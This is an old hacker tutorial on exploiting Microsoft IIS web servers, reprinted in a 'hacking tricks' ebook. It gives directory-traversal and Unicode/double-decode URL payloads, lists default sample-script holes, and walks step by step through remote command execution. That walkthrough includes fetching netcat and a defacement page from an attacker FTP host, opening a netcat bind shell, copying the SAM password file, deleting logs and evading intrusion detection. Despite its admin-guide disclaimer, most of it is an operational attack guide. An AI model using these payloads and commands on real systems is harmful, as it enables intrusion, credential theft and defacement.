

//////////*1000+ HACKING TRICKS & TUTORIALS - ebook By Mukesh Bhardwaj Blogger - Paid Version - only @ TekGyd | itechhacks | Mukeshtricks4u*///////

********** Guide to IIS Exploitation ** by fugjostle ** ** V.1.0.1 ** ** Questions? Comments? Email: fugjostle at ch0wn.com ********** Disclaimer: I do not condone hacking IIS servers in any way, shape or form. This guide is intended as a guide for admins to help them understand what most script kiddies don't understand but are happy to exploit. --[On the first day, God created directory traversal]Relative paths are the developers friend. They allow an entire website to be moved to another directory without the need for changing all the links in the html. For example, lets say we have a webpage called 'pictures.html' in the htdocs dir: Absolute path: /home/webpages/htdocs/pictures.html Absolute path: /home/webpages/images/pic1.gifIn the html you can refer to the 'pic1.gif' via an absolute path shown above or use a relative path: Relative path: ../images/pic1.gifThe relative path tells the server that it has to go to the parent directory (dot dot) --> from /home/webpages/htdocs to /home/webpages. Then the server goes into the images dir and looks for the gif file to display.Anyone who has used the 'cd' command in DOS and *nix should be familiar with the operation. So what's the problem I hear you ask... well, the programmers of web server didn't think to check the supplied URL to ensure that the requested file was actually in the web directory. This allows someone to backtrack through the servers directory structure and request files that the web server has access to. For example, http://www.target.com/../../../etc/passwdNB. you can also use double dots and double quotes. This is useful to evadeIntrusion Detection Systems (IDS): http://www.target.com//..../////...././etc/./passwdThe webserver simply strips the extra stuff out and processes the request.This is the same as the previous example and can make string matching IDS'swork for their money.--[On the second day, God created Hexadecimal]Once programmers started to realise the mistake they began to create parser routines to check for naughty URL's and keep the requests within the document root. Then along comes a wiley hacker who wonders if by encoding the URL will it still be recognised by the parser routines.You may have noticed that when you enter a URL that includes a space it is replaced with the hex equivalent (%20): http://www.target.com/stuff/my index.html becomes http://www.target.com/stuff/my%20index.htmland voila, it works. So what would happen if we changed the now denied URL: http://www.target.com/../../../etc/passwd to http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd The parser routine checks for the existence of dots in the path and finds none... the webserver then proceeds with the request.An interesting feature is that you can encode the hex symbol and the web server will decode it all for you. This is called the "double decode". For example, given the URL "http://victim.com/..%252f..%252fdocs/", the following will take place:(1) On the first decode, the string will be converted to: "http://victim.com/..%2f..%2fdocs/" [%25 = '%' so '%252f' is decoded to '%2f'](2) On the second decode, the string will be converted to: "http://victim.com/../../docs/" [%2f = '/']--[On the third day, God created Unicode]The World Wide Web is a global phenomenon and as such needs to be globally interoperable. This raised the question of how to deal with all the different character sets around the world. As a response to this, Unicode was created:

Unicode provides a unique number for every character, no matter what the platform, no matter what the program, no matter what the language. The Unicode Standard has been adopted by such industry leaders as Apple, HP, IBM, JustSystem, Microsoft, Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is required by modern standards such as XML, Java, ECMAScript (JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official way to implement

ISO/IEC 10646. It is supported in many operating systems, all modern browsers, and many other products. -----from http://www.unicode.org----------The problem with Unicode is that it requires 16 bits for a single character and software tended to use 8 bits for a single character. Unicode TransForm using 8 bits (UTF-8) was created. This allows for multibyte encoding where a variable number of bytes can be used for each character: Character 1-byte 2-byte 3-byte . 2E C0 AE E0 80 AE / 2F C0 AF E0 80 AF \ 5C C1 9C E0 81 9C This lead to a new vulnerability in certain webservers. The parser didn't understand this new encoding and allowed it through :-)For example: www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwdRecent vulnerabilities have been taking advantage of the fact that the web server doesn't understand the Unicode UTF-8 character set but the underlying OS does:
www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dirUnderstanding the distinction between Unicode and UTF-8 can be difficult. Asa general rule of thumb you can use the following format as a guide: %uxxxx = Unicode %xx%xx = UTF-8 %xx = Hexidecimal %xxxx = Double Decode--[On the fourth day, God created default installs]IIS comes installed with various DLL's (Dynamic Link Libraries) that increase the functionality of the web server. These ISAPI (Internet Server API) applications allow programmers/developers to deliver more functionality to IIS.The DLL's are loaded into memory at startup and offer significant speed over traditional CGI programs. For example, they can be combined with the Internet Database Connector (httpodbc.dll) to create interactive sites that use ODBC to access databases.The problem is that some of these DLL's are insecure and are often installed with sample scripts that demonstrate how to exploit, erm, I mean use them.ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active Server Pages) are basically HTML pages with embedded code that is processed by the webserver before serving it to the client. Here's some examples to illustrate how the sample pages installed by defaultcan aid someone breaking into your site via the ASP.DLL:[prefix all the examples with http://www.target.com] /default.asp. ** Appending a '.' to the URL can reveal the source ** on older systems. Remember hex encoding? You can ** also try using %2e to do the same thing. /msadc/samples/adctest.asp ** This gives you an interface into the msadcs.dll ** and allows creation of DSN's. Read RFP's stuff ** for idea's on how to exploit this. /iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini /msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini ** You can view the source of anything in the ** document root. '/msadc/' needs to be in the ** request as it is checked for, wait for this, ** security :-) /index.asp::$DATA ** Appending '::$DATA' to the URL can reveal ** the source of the ASP. /index.asp%81 ** Append a hex value between 0x81 and 0xfe ** and you can reveal the source of any server ** processed file. This only works on servers ** that are Chinese, Japanese or Korean. /AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")| ** This one allows you to execute remote ** shell commands ;-)ISM.DLL is used to process requests that end in ".htr". These pages were used to administer IIS3 servers. In IIS4 they are not used but various .htr samples are installed by default anyway and offer another avenue for entry. /index.asp%20%20%20..(220 more)..%20%20.htr ** IIS will redirect this request to ISM.DLL, ** which will strip the '.htr' extension and ** deliver the source code of the file. /global.asa+.htr ** Does the same thing as the %20%20 exploit ** above. ISM.DLL strips the +.htr and delivers ** you the source of the file /scripts/iisadmin/ism.dll?http/dir ** Excellent brute force opportunity if the ** dll exists. Successful logons will reveal ** lots of useful stuff. /iisadmpwd/aexp.htr ** The iisadmpwd diectory contains several .htr ** files that allow NetBIOS resolution and ** password attacks. /scripts/iisadmin/bdir.htr??c:\inetpub\www ** This method will only reveal directories ** but can be useful for identifying the ** servers structure for more advanced ** attacks later.MSADCS.DLL is used to allow access to ODBC components via IIS using RDS (Remote Data Service). RDS is part of the default install of Microsoft Data Access Components (MDAC) and is a commonly exploited on IIS. It can allowarbitrary shell commands to be executed with system privileges. /msadc/msadcs.dll ** If this file exists then there's a pretty ** good chance that you can run the RDS ** exploit again the box. More on this later.HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the webserver wants to connect to a database. It allows the creation of web pagesfrom data in the database, and it allows you to update/delete items from within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLLfor processing. /index.idc::$DATA ** Appending '::$DATA' to the URL can reveal ** the source of the IDC. /anything.idc ** Requesting a non-existance file will ** reveal the location of the web root.

/scripts/iisadmin/tools/ctss.idc ** Creates a table based on the parameters it ** receives. Excellent place to look at for ** SQL injection.SSINC.DLL is used for processing Server Side Includes (SSI). '.stm', '.shtm' and '.shtml' extension are sent to the DLL which interpretsthe SSI statements within the HTML before sending it to the client.An example of SSI would be: <!--#include file="news.txt"-->This SSI tells the server to include the 'news.txt' in the final HTML sent to the use. SSI statements are beyond the scope of this document but offer another security hole open to our wiley hax0r. Ensure you remove the app mapping and disable SSI if you do not require its functionality.SSINC.DLL is also vulnerable to a remote buffer overflow, read the following advisory for details: http://www.nsfocus.com/english/homepage/sa01-06.htmSome examples of SSINC.DLL fun: /anything.stm ** If you request a file that doesn't exist ** then the server error message contains the ** the location of the web root. /somedir/anything.stm/somedir/index.asp ** Using this method allows you to view the ** the source code for index.asp. IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'requests. This DLL has had some big exposure with the recent Nimda worm. I'm not going into too much detail but '.ida' was used in a buffer overflow that resulted in user defined code being executed on the server. /anything.ida or /anything.idq ** Requesting a non-existance file will ** reveal the location of the web root. /query.idq?CiTemplate=../../../boot.ini ** You can use this to read any file on ** the same drive as the web rootCPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your IIS server, via a web browser or the Web Publishing Wizard. The existance of this DLL can allow attackers upload files to the server. Other files such asuploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with SiteServer and allow upload of documents to the server: /scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp ** If this file is there then you may be able ** to upload files to the server. /scripts/uploadn.asp ** Connecting to this page gives you a nice ** gui for uploading your own webpages. You ** probably need to brute the userid.There are lots more example scripts in the default install and quite a few of them are very, very insecure. Microsoft recommends that you remove ALL samples from any production server including the ExAir, WSH, ADO and other installed samples. IIS Default Web Site ---------- IISSAMPLES - c:\inetpub\iissamples IISADMIN - c:\winnt\system32\inetsrv\issadmin IISHELP - c:\winnt\help SCRIPTS - c:\inetpub\scripts IISADMPWD - c:\winnt\systems32\inetsrv\iisadmpwd msadc - c:\program files\common files\system\msadc logfiles - c:\winnt\system32\logfiles default.htm - c:\inetpub\wwwroot IIS Default App Mapping ---------- .asa - c:\winnt\system32\inetsrv\asp.dll .asp - c:\winnt\system32\inetsrv\asp.dll .cdx - c:\winnt\system32\inetsrv\asp.dll .cer - c:\winnt\system32\inetsrv\asp.dll .htr - c:\winnt\system32\inetsrv\ism.dll .idc - c:\winnt\system32\inetsrv\httpodbc.dll .shtm - c:\winnt\system32\inetsrv\ssinc.dll .shtml - c:\winnt\system32\inetsrv\ssinc.dll .stm - c:\winnt\system32\inetsrv\ssinc.dll--[On the fifth day, God created Frontpage Extensions]Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you've ever wondered why they use _vti_) is a web design tool that helps you create and maintain a web site and allows you to publish it to the web server. In order to publish using Frontpage the server needs to run certain programs, collectively called the Frontpage Server Extensions.Sounds good I hear you say, but there are many, many security holes in Frontpage. You can list all the files, download password files and upload your own files on Frontpage enabled sites.When you publish a file, Frontpage attempts to read the following URL to get all the information it needs to publish: http://www.myserver.com/_vti_inf.htmlThen Frontpage uses the following URL to POST the files to the site: http://www.myserver.com/_vti_bin/shtml.exe/_vti_rpcIt will come as no surprise that this file is not protected and open to abuse.All information for the site is stored in the /_vti_pvt/ dir, and its world readable. Here's some of the things you can look for: http://www.myserver.com/_vti_pvt/administrators.pwd http://www.myserver.com/_vti_pvt/authors.pwd http://www.myserver.com/_vti_pvt/service.pwd http://www.myserver.com/_vti_pvt/shtml.dll http://www.myserver.com/_vti_pvt/shtml.exe http://www.myserver.com/_vti_pvt/users.pwd http://www.myserver.com/_private--[On the sixth day, God created CGI]--The Common Gateway Interface (CGI) is a standard for interfacing external applications to the web server. A CGI program is excuted in real time and is used to create dynamic web sites.Generally, the CGI programs are kept in '/cgi-bin/' but can be placed anywhere. The programs can be written most languages but typically they are written in C, Perl or shell scripts.Many sites will use freely available, downloadable scripts from places like Matt's Trojan, erm, I mean Matt's Script Archive. Its always a good idea to look through the source of the scripts for bad system calls and lax input validation.CGI deserves a tutorial all to itself and I strongly suggest that you

read the following tutorials... they explain it better than I ever could: Hacking CGI - http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt Perl CGI Problems - http://www.phrack.com/phrack/55/P55-07Just to get you in the mood we will have a brief look at CGI exploitation.There are three main types of CGI hacking; URL encoding attacks, input validation exploits and buffer overflows.The first thing to keep in mind is that you are already able to exploit cgi using the techniques from previous sections. First, we need to cover some background. CGI can take lots of shapes and forms. One popular use is viaweb based forms that submit information to a CGI via a GET or POST. <FORM NAME="myform" "METHOD=GET" ACTION="../cgi-bin/my_cgi.cgi">When the user clicks on the submit button his information is passed to the CGI script to process either via the URL (GET) or via HTTP headers (POST). Lets assume that the CGI we are going to exploit asks the user for the name of a file to display. The 'GET' method uses the URL to pass the information and it would look like this: http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwdLets break that down: ? - separates the request from the parameters filename - this is the name of the textbox in the html = - assignment for the parameter/value pair /etc/passwd - this is what the user typed into the boxYou can have multiple fields within a HTML form and these will also be passed to the CGI. They are separated using a '&': http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd&user=fugjostleIf you were thinking how could you alter the user supplied input to break the CGI then good, you're starting to think in terms of security. Lots of developers love to program new and interesting things but they do not consider security. A security conscious programmer would write input validation routines that would process the data and ensure the user wasn't be malicious or curious. As you read through some of the free scripts on the web you will start to realise that many programmers do not think about security. Lets look briefly at some ways we could exploit the CGI. The first thing to keep in mind is that you already know the generic exploits from the previous section. The only area in which we are lacking is programming language specific info.We will stick with the example cgi that open's a file (and let's assume its written Perl). Lets look at some of the things we can try: my_cgi.pl?filename=../../../../../etc/passwdand lets do the same thing but encode the URL to bypass security checks: my_cgi.pl?filename=../..%c0%af../..%c0%af../etc/passwdIf you have read the RFP document above then you will be familiar with poison null bytes. Stop now and go read it... can't be arsed? ok then, here's the quick version. %00 is valid in a string with Perl but is NUL in C. So? When Perl wants to open the file it makes a request to theoperating system through a system call. The operating system is written in C and %00 is a string delimiter. Lets apply this technique to the following situation.I decide to secure my CGI. I append '.html' to any request. This means that the user can only view html files and if they try something else then it doesn't exist. wh00p @ me :-)But... what if I was to do the following: my_cgi.pl?filename=../../../../etc/passwd%00In Perl the filename string would look like this: "../../../../etc/passwd\0.html"Perfectly valid under Perl. I have done my job... or have I? When this is passed to the OS (which is written in C not Perl) the request looks like this: "../../../../etc/passwd"The OS identifies %00 as the string delimiter and ignores anything that Comes after it. The webserver then displays the /etc/passwd file... bugger :-(Many people download scripts from the web and look for problems in the script. Then the wiley hax0r will go to altavista and search for sites that are using that script, eg: url:pollit.cgiand good old altavista provides a list of sites that are just ripe for the taking.The final method of exploiting CGI is via buffer overflows. Languages like Java and Perl are immune to buffer overflows because the language looks after memory management. Programs written in a language such as C are vulnerable because the programmer is supposed to manage the memory. Some programmers fail to check the size of data it is fitting into the memory buffer and overwrites data in the stack. The goal of the buffer overflow is to overwrite the instruction pointerwhich points to the location of the next bit of code to run. An attacker will attempt to overwrite this pointer with a new pointer that points to attacker's code, usually a root shell.Quite a few CGI's exist that are vulnerable to this type of attack. For Example, counter.exe is one such CGI. By writing 2000 A's to the CGI causea Denial of Service (DoS).The details of buffer overflows are beyond the scope of this document. Look out for a future release ;-)If you want to dig deeper in buffer overflows then have a look at: http://www.phrack.com/phrack/49/P49-14--[On the seventh day, God chilled and haxored the planet]Well.. I guess its time we actually tried some of the things discussed but I'm not going to cover everything. I suggest going to the following URL's and searching for IIS: http://www.securityfocus.com/ http://www.packetstormsecurity.com/My main reason for doing this file was to better understand Unicode exploits and so that is going to be the focus of the exploitation. The first exploit I'm going to go through

is the recent Unicode exploit for IIS4/5: http://www.securityfocus.com/bid/1806Before I get emails saying 'hold on, you said that %xx%xx is UTF-8" let me explain. This had wide exposure on Bugtraq as the Unicode exploit. In reality, this is not a Unicode sploit but a UTF-8 sploit. I'm going to keep calling this the Unicode exploit because its now referenced by this name in the Bugtraq archives and you'll have to search using Unicode to do furtherresearch.Ok, rant over... To check if the server is exploitable, request the following URL: http://target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\You should get a directory listing of the C:\ drive on the target server. The important thing to note is that the Unicode string can vary depending where in the world you are. Some possible alternatives include: %c1%1c %c0%9v %c0%af %c0%qf %c1%8s %c1%9c %c1%pc There are many more to choose from, just look at some of the Bugtraq posts or research UTF-8 for more alternatives.OK, you can read the directory... what next? You have the directory listing and the ability to run commands, so you need to find the web root. By default, the web root is at: c:\inetpub\wwwroot\If its not there then go and look for it. Let's write a text file there and see if we can see it: cmd.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txthmmm.. it seems that we don't have write access. Ok, no problem we can get around that by creating a copy of the cmd.exe that has write privileges: cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\fug.exeLet's check if it worked: http://target.com/scripts/..%c0%af../winnt/system32/fug.exe?/c+dir+c:\Yep.. all's good so far. Lets try and write to the web root: fug.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txtLet's open up it up in the browser and see if we can see it: http://target.com/test.txtw00t!!! Write access!!! Right, we now have some options open to us. In the words of Microsoft, where do you want to go today? Working via the URL is pretty clunky and I like the comfort of a nice command prompt, So lets do that. I want to bring over a copy of netcat and a nice html page that I'll use to replace the existing one.First I need to think about the script I want to run that will get the files I need from my FTP server: fugscript: open ftp.evilhaxor.com anonymous anon@microsoft.com cd pub get nc.exe get hacked.html quitRight. I need to get this script onto the webserver: fug.exe?/c+echo%20open%20ftp.evilhaxor.com>fugscript fug.exe?/c+echo%20anonymous>>fugscript fug.exe?/c+echo%20anon@microsoft.com>>fugscript fug.exe?/c+echo%20cd%20pub>>fugscript fug.exe?/c+echo%20get%20nc.exe>>fugscript fug.exe?/c+echo%20get%20hacked.html>>fugscript fug.exe?/c+echo%20quit>>fugscriptOK.. now we have created a script on the server called fugscript. Next step is to execute the script and get my files from my web server. fug.exe?/c+ftp%20-s:fugscriptIf all goes well the server should begin the FTP transfer and get your files transferred. Be patient and give it time to transfer. Now you are ready to get netcat listening on a port. The command line for starting netcat is: nc.exe -l -p 6667 -e cmd.exeThis tells netcat to listen (-l) on port 6667 (-p) and to spawn cmd.exe (-e) when someone connects. The last step is to translate this command into URL speak ;-): fug.exe?/c+nc.exe%20-l%20-p%206667%20-e%20cmd.exeFire up a telnet session and connect to port 6667 on the target system and voila... you have a cmd prompt. I really hate web defacements... so if your going to do it then rename the existing index.htm (or default.htm) to something like index.htm.old (give the poor admin a break, cause you can betyour arse that he hasn't made a backup). ALSO: you are now using a system without authorisation and as such, you are guilty under the Computer Misuse Act in the UK and probably of something similar in your own country. If it never occurred to you to delete the contents of c:\winnt\system32\logfiles or the 'fugscript' file then you really shouldn't be doing this.It just wouldn't be right to talk about IIS exploitation without mentioning msadc.pl. rfp's perl script is a perfect example of exploit chaining. A single exploit is not used but a chain of exploits to get the script to work.The exploit utilises a combination of inadequate application input validation and default install fun. The process tries to connect to a Data Source Name (DSN) to execute commands.rfp's script tests for the existence /msadc/msadc.dll using the GET method. This test will be logged and you should edit the script to make it a HEAD request and add some URL obfuscation madness. The default msadc.pl script uses "!ADM!ROX!YOUR!WORLD!" as the MIME separator string. It is advised to change this string as some IDS's are configured to identify this string.If you want to write your own scanners then you should be looking for headers with the content type: application/x-vargand of course the IIS version :-) I don't want to go into too much detail because this is heavily documented on rfp's site: http://www.wiretrip.net/rfp/How do I use it? I hear you cry... well, its child's play: ./msadc2.pl -h www.target.comIf all goes well then you should be presented with the following: command:Its interesting to note at this point that 'cmd /c' will is run as with theprevious exploit. You can edit the script to run any other executable such as 'rdsik /s' instead.This is good, you can know enter the command you want to run on the server. The previous Unicode exploit should have given you some ideas but here's a couple that

come to mind: Example 1: copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\fug.hak (grabbing fug.hak via your browser should give you a nice file to fire up in L0phtcrack or JTR) Example 2: echo open ftp.evilhaxor.com>fugscript && echo fug>>fugscript && echo mypassword>>fugscript... etc. etc. Anyway, that's about all for now. When I can be bothered I'll add some more methods to this file. Until then, ensure your box is fully patched and the default scripts are removed. Go have a look at the following URL and get secure:
http://www.microsoft.com/security/**********
*Greetz to: ReDeeMeR, BarnseyBoy, Reeferman, gabbana, think12, Wang, Enstyne, [502BOP], Muad_Dib, Macster, n0face, palmito, kph, Homicide, Col, Axem, Booto, _Penguin, nsh, Chawmp, shad, hellz and everyone in #CA who are way too numerous to mention.**********